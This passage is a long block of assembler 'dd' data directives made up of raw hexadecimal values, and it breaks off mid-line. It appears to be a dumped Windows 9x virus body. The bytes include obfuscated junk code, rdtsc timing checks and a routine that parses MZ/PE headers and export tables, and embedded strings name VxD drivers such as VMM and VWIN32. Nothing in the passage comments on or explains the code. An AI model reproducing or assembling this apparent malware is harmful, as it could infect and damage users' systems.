5250310Fh, 800Fh, 310F0000h, 8F0Fh, 585A0000h dd 0F90585Ah, 0E86h, 0B5096000h, 64D11B1h, 850Fh, 8D610000h dd 5049F985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0D4AAE500h, 0D0FF1C96h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 63C35242h, 12E9CE2Ch dd 89000000h, 0AE9BC86Ah, 0A68E000h, 716068C6h, 0B0586CADh dd 2444030Eh, 52006A28h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0DDA053B6h, 0C150CE17h, 89ABC0DCh dd 4D0BB195h, 8DFF5E06h, 650758Ah, 758ABD83h, 75000650h dd 8DC0330Ah, 5084A8B5h, 56E6FF06h, 247C81ADh, 28h, 500E7710h dd 2C24448Bh, 0F9858D50h, 0FF065049h, 244403D0h, 0DF8B9728h dd 7586858Ah, 0C0840650h, 73A0474h, 32574C75h, 0FD75AEC0h dd 52FB2B5Eh, 49C933FCh, 0C033D18Bh, 32ACDB33h, 8ACD8AC1h dd 0B6D68AEAh, 0EBD16608h, 73D8D166h, 41356609h, 0F3816650h dd 0CEFE5449h, 0C833EB75h, 754FD333h, 0F7D2F7D5h, 0C1C28BD1h dd 8B6610C0h, 0D03B5AC1h, 835E0F74h, 85FF04C6h, 64D042Dh dd 0FFFF5DE9h, 8D095EFFh, 64D1101h, 8D8B6060h, 64D0571h dd 61FEBF0Fh, 2D858B61h, 0E9064D04h, 11h, 0B80A329Dh, 2C7A4B55h dd 2A5EB497h, 8A25F2E0h, 6AE0D1A0h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0B83C353h dd 0B30DF4D3h, 0E4DCE8Ah, 7D35BB60h, 8961561Dh, 4D23BDB5h dd 4D850306h, 60064D30h, 268D9D89h, 0D08A064Dh, 0BE61h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 89DF53C3h, 96C3B3F4h, 62D9D89h, 0AD66064Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C4C35141h dd 0DB40177Fh, 0E94F748Eh, 0Eh, 0C34B5C04h, 0B2F0DB92h dd 739B10Dh, 0E0C1B0D3h, 6660F902h, 0AEDCF081h, 2DE59D2Bh dd 361064Dh, 4D14C185h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 870FFB48h, 6, 0D459D31h dd 0AE9064Dh, 80000000h, 0A498BF70h, 4B9D0793h, 958B6042h dd 64D1571h, 26D59531h, 9661064Dh, 2E5D9D09h, 6AAD064Dh dd 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0B220C357h, 0FE6505Dh, 683h, 0E9958900h, 81064D26h dd 24247Ch, 0F100000h, 0E487h, 398D8900h, 50064D24h, 178A0Fh dd 12E90000h, 0F0000000h, 9713C2E4h, 0B79DDBC5h, 5F7CD353h dd 824E26AAh, 2404897Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 7AC35646h, 24448B76h, 51006A28h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 87FF5DBBh, 0F3D4DDB7h, 0E9504618h, 6, 46F18902h, 489AE96h dd 14E924h, 73BC0000h, 92917032h, 8EA21211h, 8ADDA5DDh dd 0BCA26848h, 858D1EE4h, 65049F9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0BC35747h, 2E65B529h, 8E9064Dh dd 83000000h, 9C0B6EEDh, 0F5F47F6Bh, 12E9D0FFh, 2F000000h dd 0F9A1857h, 38DCD926h, 0FBE44775h, 53B45A6Fh, 2444033Eh dd 4489F824h, 6A1C24h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 654353C3h, 2DBBE1DAh, 85C6FC2Ch dd 64D26E5h, 2C85C700h, 65077h, 0C7000000h, 50758E85h dd 6, 850F6000h, 5, 8BEB8166h, 14E947h, 75820000h, 0EFDD6899h dd 2FC9D0BDh, 325F5423h, 15A830C4h, 6A61B4D2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 1CB9C356h, 2CDD9531h, 6A61064Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7962C353h dd 8D8963ABh, 64D2EE1h, 6A0008C2h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0B44BC351h dd 518137E2h, 810B1948h, 0C1858BF9h, 29064D14h, 4D2E09BDh dd 0A5858906h, 4A064D29h, 458589h, 0D26B064Dh, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 3F778165h, 324A44Bh, 850FF9C2h, 0Bh, 0CD8D8960h, 0F064D21h dd 9661F3BFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0EBC35141h, 598D09BEh, 0AD064D29h, 2B21B589h, 7C81064Dh dd 2424h, 870F1000h, 0D7h, 718D8B60h, 0F5064D14h, 52505061h dd 84BA6660h, 615E50E4h, 8D0F310Fh, 6, 310F5250h, 585A585Ah dd 0E9240489h, 8, 583A14A9h, 0CDEA0FEh, 2824448Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F7C35646h, 0F9D59F3Eh dd 50525050h, 0F616052h, 7E931h, 0E0C40000h, 55F2B08Ch dd 0F585ADDh, 10E86031h, 39000000h, 0DCFD68B9h, 1B7C2F3Ch dd 8CB136FCh, 5A53A533h, 61C38B66h, 489585Ah, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 316F3806h, 0F9858D3Ah, 89065049h, 4D148D8Dh, 0E9D0FF06h dd 13h, 6BB26E82h, 0AFE01D05h, 261C9981h, 0CD3E3598h, 0E91014AFh dd 0FFFFFDB9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0E9C35242h, 1135865h, 4D2D1595h, 57858D06h, 6A06508Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 903DC352h, 5E9h, 8CEC0F00h, 0E950EB1Ch, 0Fh dd 3BE29021h, 5962F7A7h, 72D2F326h, 90F78400h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 96C35141h, 0FF64F939h dd 35h, 0BE900h, 0FB0E0000h, 812B6D59h, 5419BBFDh, 85B5894Dh dd 8B064D0Bh, 820F2404h, 6, 25519D01h, 8589064Dh, 64D0B3Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9EC35646h dd 83EF68Dh, 3DA8E825h, 25858B60h, 89064D24h, 4D0A4995h dd 89646106h, 25h, 198A0F00h, 0E9000000h, 14h, 2CA0FC0Dh dd 0B3F74E15h, 8B471274h, 7B1AC5F4h, 8D0408C7h, 8867858Dh dd 6A0650h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0BE17CDC3h, 9BD5618Eh, 16089F8h, 1AB58589h dd 53E9064Dh, 6A000002h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 91EC353h, 755AE68Bh dd 79BD3161h, 8B064D1Fh, 0E8DBh, 815D0000h, 508860EDh dd 0FF9CBC06h, 0BD830012h, 64D2999h, 8B187400h, 4D15A985h dd 0C606h, 15BD858Bh, 0C6064Dh, 1D95FF00h, 60064D23h, 7192B5FFh dd 858D0650h, 6507196h, 8E858D50h, 50065073h, 34195FFh dd 0C483064Dh, 8501610Ch, 64D2281h, 6870Fh, 0BD890000h dd 64D0A7Dh, 351B509h, 0B58D064Dh, 650738Eh, 18B0Fh, 0FCF90000h dd 0C9BD8Dh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 55847C3h, 3E73082Ch, 2956F263h dd 4D0BF5BDh, 13E906h, 0A6B50000h, 64CDE575h, 270E6A1Fh dd 0AF3A6563h, 5AD6B23Bh, 3E8005h, 4D840Fh, 8D310000h dd 64D0BD1h, 53006AA4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 50A51B3h, 0E95D8986h, 13h, 0E46E1C21h dd 2E1D1370h, 6037BBA3h, 9F78A576h, 31473E6Fh, 4D0FB1B5h dd 0FFABE906h, 0B8F5FFFFh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B2C35343h dd 10E9h, 0A5A04B00h, 0EE422F62h, 1171DC20h, 8C641CF7h dd 6AAAF4h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 6C0FC0C3h, 600ECBC2h, 8BAAC580h, 4D069D95h dd 7B86106h, 89000000h, 4D2E958Dh, 0A985C706h, 1064D13h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 8D02C353h, 0B589C8B2h, 64D1541h dd 4DE58D8Dh, 89F8064Dh, 4D266DB5h, 6AE1FF06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0B434C351h, 0FF587185h, 6850F68h, 29000000h, 4D2FC595h dd 6840F06h, 89000000h, 4D26F195h, 245C8B06h, 0E8550Ch dd 5D000000h, 8A61ED81h, 838B0650h, 0B8h, 71928589h, 858D0650h dd 6508859h, 0B88389h, 335D0000h, 9589C3C0h, 64D2F4Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A2C35141h dd 6069E087h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 8FC35242h, 0C706F924h, 89B0F2ADh, 4D2DC1BDh, 0A3858D06h dd 0F506508Ch, 14E950h, 0F0930000h, 5B93381Ah, 0E0FA2E22h dd 338984A2h, 63CE4870h, 4898182h, 0FF64F524h, 35h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 89FCFF4Fh, 4D15C99Dh, 6880F06h, 89000000h, 4D2B459Dh dd 25896406h, 0 dd 0A3DBD31h, 858D064Dh, 6508D11h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0A4C35747h, 0F1237AB0h, 4B02ED8h dd 99BD89F5h, 89064D26h, 6A0160h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0A9F6FEC3h, 0D2711F11h dd 26E585C6h, 6A4F064Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0C355C350h, 11E934h dd 4FF60000h, 95A243DAh, 3B3EFBB5h, 0C41C5753h, 685AF4EAh dd 0ADEB55CFh, 840F5250h, 6, 830Fh, 310F0000h, 6840Fh dd 52500000h, 585A310Fh, 3481585Ah, 2321E524h, 53006A53h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0B7243DCDh, 0E082D050h, 0D58D899Ah, 0FF064D14h, 4D0B29B5h dd 6E906h, 0BA550000h, 0F3213FEDh, 75D7858Dh, 6A0650h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0FAA89C3h, 18Ch, 0D0FFF800h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 20C35545h, 0EB73A366h, 13E9B68Ah dd 0FB000000h, 0D2035939h, 0D5F975E2h, 1A83FA23h, 45048049h dd 74E92438h, 29000000h, 4D200D85h, 245C8B06h, 0E8550Ch dd 5D000000h, 8CADED81h, 858B0650h, 64D1431h, 0B298589h dd 858B064Dh, 64D22C1h, 2B698589h, 858B064Dh, 64D0395h dd 25A98589h, 85C6064Dh, 64D26E5h, 2C85C700h, 65077h, 8D000000h dd 508D1185h, 0B8838906h, 5D000000h, 29C3C033h, 4D2BADBDh dd 6820F06h, 1000000h, 4D29A5BDh, 0F99D0906h, 0BC064D17h dd 12FF74h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 99C35343h, 68E0FF9h, 89000000h, 4D13E985h, 7DB52906h dd 64064D0Eh, 58Fh, 85890000h, 64D2AA1h, 6A04C483h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 3DEAC353h, 29E8ECEBh, 0C850Fh, 810F0000h, 6, 2B6D8529h dd 0E861064Dh, 11h, 0E8813C2Eh, 6A2A8864h, 0B13023EBh dd 2ECB2266h, 95895E81h, 64D1521h, 6DE0C681h, 98B40000h dd 839D42BAh, 0DF28119h, 0B5198386h, 0B03E8B57h, 0C9EF8198h dd 8978D6EDh, 4D2B959Dh, 96F78106h, 812A0762h, 0E9043FF7h dd 0B780B856h, 0B45777E2h, 0F9068F45h, 2294EE81h, 9E95F41h dd 54000000h, 0CA34342Eh, 3332BCD0h, 2290C681h, 0EE8A5F41h dd 16850F4Ah, 29000000h, 4D03F1B5h, 26E906h, 0B8160000h dd 50D833D1h, 5FFE31EBh, 8D8956BCh, 64D200Dh, 0FF93E95Bh dd 2A19FFFFh, 0D2D476C1h, 3D1515BDh, 9A45BE3Ch, 0EE8h dd 4B03A000h, 26CAFA38h, 9F518E6Eh, 8B1D708Eh, 4D1B719Dh dd 0B70F5E06h, 0DC681DAh, 8B000071h, 4D23BDBDh, 1C10B906h dd 8BF90000h, 9E906h, 0AA730000h, 8133C872h, 8147FD35h dd 0E81ED5F0h, 55958963h, 81064D21h, 0E7029AC0h, 6ABA6649h dd 0DAE881BAh, 57143D1Dh, 505BE7B2h, 783EBF66h, 11E9068Fh dd 5A000000h, 30C62243h, 20CB4C3Ah, 0DA32CD13h, 0B71C5848h dd 0FC01EE83h, 604E4E4Eh, 15852Bh, 0E960064Dh, 13h, 3AAA6B09h dd 39A0CF9Eh, 1085AD40h, 4FDA1357h, 0FC41F7Eh, 8Ah, 49616100h dd 11850Fh, 9D290000h, 64D2F2Dh, 19E9h, 9ABD4900h, 8BC2FFB2h dd 4D1EC9BDh, 0FF61E906h, 425BFFFFh, 0CADEB662h, 34EB56A2h dd 4D534649h, 20205247h, 20444B56h, 20202020h, 204D4D56h dd 20202020h, 4E495756h, 20203233h, 4C445856h, 20205244h dd 3 dup(0) dd 785E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0E1925DBh, 0E960D854h, 11h, 1B1E0C78h dd 31E8E466h, 0AEE76D5Dh, 0EEEFB854h, 2820FABh, 53000000h dd 6A606159h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 37AEC353h, 44A154DDh, 11800F2Fh dd 0E9000000h, 0Ch, 0AC3641FDh, 33784922h, 6962E7B1h, 3685C7F9h dd 6508Fh, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 3D3EC350h, 0B3407F97h, 266CB3EFh dd 5E9h, 9BD0FF00h, 0C68BD1D6h, 0D8B70FF8h, 5E9h, 0DCE63500h dd 0F60CA5Fh, 485h, 34BA6600h, 23FBEDCh, 0C1611BBDh, 8E0F10E8h dd 11h, 0CE9h, 6F989000h, 93721791h, 0F904B455h, 0C8C16626h dd 55006A08h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0B532D61Ah, 0FA1BD232h, 13E9604Bh, 0E8000000h dd 5598460Bh, 90B89FABh, 425B7393h, 0CADEB662h, 0E86056A2h dd 0Bh, 4C2C0919h, 70582CB5h, 5900FBE7h, 61C7BF0Fh, 3A858961h dd 0F06508Fh, 0C8Fh, 94BF6000h, 0BA7586BCh, 2B546B0Bh dd 0CBC16661h, 0E9F96008h, 0Ch, 0D76A8EB9h, 0EA7C90FBh dd 53B3847Ch, 40FB8361h, 81850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0A5382CC3h dd 0EBD8D0Ah, 6A06508Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 8FCCC355h, 0CE9FCE9h dd 42000000h, 0F6781626h, 25E66C73h, 0E97ADE66h, 186h dd 0CE9h, 4D63CF00h, 0DC9C0ED1h, 3A17E9ADh, 0EE86079h dd 0DA000000h, 69D55FEDh, 0F246955Dh, 0F1C7DA1Bh, 83615B54h dd 850F0DFBh, 56h, 0AE9h, 0BFD47900h, 7CA0AC1Ch, 8D372C1Ah dd 508F16BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 95080E85h, 11DE9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0FB83F8E7h, 77850F01h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 1305C357h dd 0CE90740h, 14000000h, 0DEC14248h, 271E80E3h, 0FC59D633h dd 8F1EBD8Dh, 6A0650h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0B1B89C3h, 0D95D05ABh, 98E9F9h dd 830F0000h, 12h, 7E960h, 65BD0000h, 1DFD5BD4h, 6BE6668h dd 0FB836103h, 5A850F2Ah, 0E9000000h, 8, 81BB870h, 2FF44518h dd 8F26BD8Dh, 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 7A19E9C3h, 4E4659C2h, 0E9878A62h dd 3Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 0AAC35646h, 27FB830Ch, 2F9850Fh, 8C0F0000h, 1, 2EBD8DF9h dd 0F06508Fh, 18Eh, 0BD89F500h, 6508F3Eh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 3BC35242h, 18C0Fh dd 66F50000h, 6660C88Ch, 0D197E081h, 2461F4B1h, 56006A03h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 821523Eh, 0A800FAEh, 60000000h, 0BB26C881h, 5F514527h dd 0FC00A61h, 1F685h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 64B79848h, 0FE4ADB9h dd 0E84h, 9E900h, 3F550000h, 679FC019h, 60E63183h, 8EABF181h dd 5E964F5h, 0C5000000h, 40045D3Eh, 0D4B58D61h, 60065095h dd 4710F381h, 0EA815E25h, 2EFFCAE7h, 63858B61h, 6A065096h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0CEB1C355h, 0E64FB2CAh, 12E9D6h, 429A0000h dd 0A208756Bh, 0D4B2211Ch, 4CAB04FEh, 913F1D6Ah, 15850F92h dd 0E9000000h, 10h, 9D2798D8h, 557CD12Bh, 9D96D87h, 251C06ECh dd 8B606050h, 616160CEh, 0D1C6B960h, 0BB667F09h, 61617224h dd 52006A92h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0F2EA93Dh, 0FE244C01h, 0D78B6660h, 6A5A61h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 93513AC3h, 6BF77622h, 0EE9F8C8h, 34000000h, 0F84D68E9h dd 7D66C229h, 7E8878A8h, 24C28382h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 5C35545h, 73223E50h, 0D1B70F60h dd 24B0E681h, 66612FB2h, 6AFC7289h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 8266C353h dd 0DC4D84A6h, 2700CBECh, 10CEC1F5h, 5E9h, 92670800h, 89668A97h dd 6A0272h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 2EA1DEC3h, 0F8C56EFFh, 0F6004CDh, 481h, 9DBE6600h dd 61F48AF0h, 0A3E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 4AED4794h, 0CB8A6041h dd 0B4F5CA81h, 8B61092Fh, 50966385h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0B58D023Ch dd 65095D4h, 0FE9h, 369E6300h, 0B4E8F1D3h, 0FFC32629h dd 0EEC172EDh, 494D858Dh, 6A0650h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 881676C3h, 2F9C2F5Ch dd 0B70F605Ch, 61D1B0D2h, 5260D0FFh, 66585B51h, 61BADDB9h dd 8F368589h, 61F50650h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 66C35040h, 0E409C1E7h, 0C1816660h, 0E68A0122h dd 36858B61h, 0E906508Fh, 10h, 0B00618B3h, 0D980D4ACh dd 8E0C88E6h, 322D39E7h, 6A60F8C3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E9E6C350h dd 14h, 4B9B533Fh, 0A21FEC90h, 0DB95D0D9h, 7782F18Dh, 48896B86h dd 9663BD83h, 0F000650h, 2B85h, 85C7FC00h, 6509663h, 1013Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D2C35747h dd 0FB99A681h, 1AE9h, 0CE900h, 996D0000h, 0F5589730h, 5D86E28h dd 0F605BACh, 0B866F9BFh, 0CD615205h, 20h, 74C00B00h, 0C708D37h dd 8F3EBD8Bh, 8B90650h, 0A6000000h, 75492275h, 30488BFAh dd 8F3A9D8Bh, 583B0650h, 8B157F34h, 4D26BD3h, 18BCA03h dd 8F368589h, 4EB0650h, 0C5EB008Bh, 36858B61h, 0CF06508Fh dd 0D1BF0F60h, 0E961DCB1h, 7, 18EBE9C9h, 0E9CF33CEh, 0Ah dd 0A455C344h, 3DB07DBEh, 0C08B3569h, 83E9h, 52515300h dd 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch dd 45503B81h, 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch dd 1C247403h, 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h dd 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h, 84028A04h dd 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h dd 48B0F04h dd 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h, 0FFFFFFF1h dd 7E8CA8Bh, 0FF000000h, 83711E42h, 0E781A3DBh, 1A93E374h dd 98D0F5Eh, 0F000000h, 387h, 0FA8B6600h, 699DC681h, 6BBB0000h dd 2B384BEFh, 5E860C0h, 0CC000000h, 94B12EBBh, 5E8h, 0E8EEDA00h dd 5B5A00ABh, 0FA3BD981h, 0FF615F62h, 0BF0F3034h, 0D9805ACEh dd 0AFF28157h, 664A0CB8h, 81B032BFh, 8AED0BF2h, 8B665049h dd 0C2815BCEh, 6675354Fh, 89D88B66h, 66500614h, 5F0600BBh dd 83FABF0Fh, 0F88104E8h, 0FFFF971Ch, 17850Fh, 81660000h dd 0E957D4F1h, 28h, 11AFF02Eh, 47A61725h, 8E428F5Fh, 44D981BDh dd 0E97A7550h, 0FFFFFF9Bh, 478D294Dh, 71A6698Ch, 284E6C3Bh dd 0B84F44C1h, 148E9h, 5000h, 5400h, 5800h, 5C00h, 6000h dd 6400h, 6800h, 6C00h, 0B000h, 0B400h, 0B800h, 0BC00h dd 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h dd 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h, 38h dup(0) dd 57876900h, 0A050EB00h, 1F858D00h, 31065098h, 4D267195h dd 6820F06h, 89000000h, 4D15E9BDh, 5F858906h, 0C6065099h dd 4D26E585h, 0E8B65406h, 68582268h, 565250E2h, 0E8310F5Bh dd 13h, 0CF3280A7h, 0FB95F014h, 2A0D75DEh, 94B5C47Dh, 8BB2E370h dd 585A5AD1h, 7240481h, 8B0BFA10h, 4D268DB5h, 29B5FF06h dd 0F064D0Bh, 688h, 6D950B00h, 8D064D26h, 5075D785h, 68B0F06h dd 8B000000h, 4D241DBDh, 0FD0FF06h, 586h, 0E9816600h, 85890E17h dd 6509963h, 10D18D8Bh, 48E9064Dh, 0F000000h, 881h, 95896000h dd 64D0331h, 0B58B5661h, 650995Fh, 85830689h, 650995Fh dd 60C35E04h, 981FB58Dh, 0FEB0650h, 0FF006A56h, 6395FF36h dd 5E065099h, 8304C683h, 0EC75003Eh, 8AB6C361h, 0B1BD89F5h dd 8D064D06h, 509A2585h, 0C5858906h, 0E9064D06h, 0E5h dd 0FFEE4D10h, 1F3271DCh, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h dd 28602060h, 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h dd 0F2FD54A7h, 6F795C43h, 0CB8E912h, 0F7680000h, 0E906509Dh dd 0FFFCE471h, 509F2468h, 0E467E906h, 0F768FFFCh, 0E906509Fh dd 0FFFCE45Dh, 50A0BC68h, 0E453E906h, 1C68FFFCh, 0E90650A1h dd 0FFFCE449h, 50A1A668h, 0E43FE906h, 1568FFFCh, 0E90650A3h dd 0FFFCE435h, 50A40468h, 0E42BE906h, 0BF68FFFCh, 0E90650A4h dd 0FFFCE421h, 50A55A68h, 0E417E906h, 5368FFFCh, 0E90650A6h dd 0FFFCE40Dh, 0B3BF652Bh, 566208D3h, 0FA06AC76h, 9BA74D1Ah dd 404CF2BBh, 1CE5AA3Eh, 0C38A6A76h, 6531111Dh, 0BD3B3BFh dd 0F5C25965h, 0FE85BAC6h, 2C6C77D4h, 4D1AAD75h, 7E4BF1BAh dd 6E3BA40Dh, 0D6A34910h, 8F72F260h, 0B81521C7h, 0DB0A4F1Dh dd 0D1383FE8h, 5EABF059h, 201512Fh, 2877E0D5h, 8AB90653h dd 0D50201F6h, 7542E8B0h, 81D03904h, 0A9B55B23h, 8E5B01C9h dd 202145Fh, 0DA8AF0D5h, 74B95F27h, 0C0316338h, 0FC4B8DA3h dd 0AD4008E8h, 1723FE5h, 0A56DCB98h, 8D432FFh, 6D379562h dd 0F7E3FAC7h, 589F874Dh, 1EA4DC0Bh, 0E413D502h, 0D5021E9Ch dd 0F8612C95h, 0E4073DA9h, 826A761Ch, 0B65B40E0h, 55B17h dd 5483D000h, 0D5022B2Ch, 2B245C8Bh, 0A40DD502h, 592170D9h dd 760A3986h, 0BBDB4F20h, 0DDA50352h, 440C6A37h, 0F0CF6FD3h dd 0EE5756B7h, 515085E2h, 0DE112D12h, 384A65FDh, 4FFA90C4h dd 8C32FA50h, 6291DE23h, 0DB4EC31Eh, 0AF76AA13h, 0C1D3908Eh dd 507FCC1Bh, 0D137767Bh, 1E6291D6h, 13D5013Fh, 457441AAh dd 0D5013E2Fh, 8F61E351h, 72C16731h, 5BDC7A0Ch, 6AA1B6h dd 0F8DF0000h, 1B4A8FDDh, 0D1382068h, 74A370D9h, 0D5022100h dd 0E35ECF96h, 11F57C74h, 81DFAC15h, 0F64310B6h, 1AAB9C7h dd 0F78D5h, 2E9A5014h, 0EB481DFh, 0FF1153BFh, 0AAFD83B2h dd 0CB34D501h, 38D82797h, 46955E75h, 5B1046E0h, 74390B6h dd 328A6D99h, 0ABD5FC39h, 0CD501B1h, 1B1A3DDh, 5A258ED5h dd 0E73AA2F1h, 78000000h, 3A07AD75h, 0B68013DCh, 69D24310h dd 59FFC624h, 0F7CC1B8Ch, 5E2BD199h, 86923800h, 4F248ED5h dd 7A20E8DBh, 23639F6Eh, 9BA55C92h, 10D83685h, 0FDC7256Ah dd 1B37288Ch, 93FC170Eh, 7CCB713Dh, 6309CCA7h, 0D000EF1Eh dd 3997D137h, 6E14DF72h, 78C73805h, 61303CA5h, 839BE514h dd 2D96D501h, 9AD203DEh, 3A692655h, 216ECAF2h, 2E55FBC3h dd 0CEB1CC52h, 542776DFh, 7F48A6EBh, 24EDCDD9h, 5522C891h dd 0F36EB0E4h, 0E47D4AB1h, 0D5B6637Bh, 4D22987Ch, 9602Fh dd 0A66C00h, 0A34914F4h, 47EDB797h, 0E88E5B3Bh, 8D33FCDCh dd 28697F81h, 0CDADB95Fh, 74546006h, 16F602A8h, 59CA84Eh dd 83770938h, 0AFBAD4FEh, 6AC756Fh, 0CBEF2BFAh, 3A97281h dd 9591C536h, 1BC1889Dh, 3D0563B2h, 0D33CE2AAh, 0DDF87DC7h dd 6734DAA2h, 2DD3A0F6h, 4186EF60h, 0A9761CE3h, 6D9CE938h dd 0D1382116h, 1F7DC22Bh, 8B60AF55h, 7117E03Eh, 14DD33A4h dd 0E130A16Eh, 220C2B2h, 8608D4D5h, 2212957h, 369F08D5h dd 9B410B69h, 99CBB7CEh, 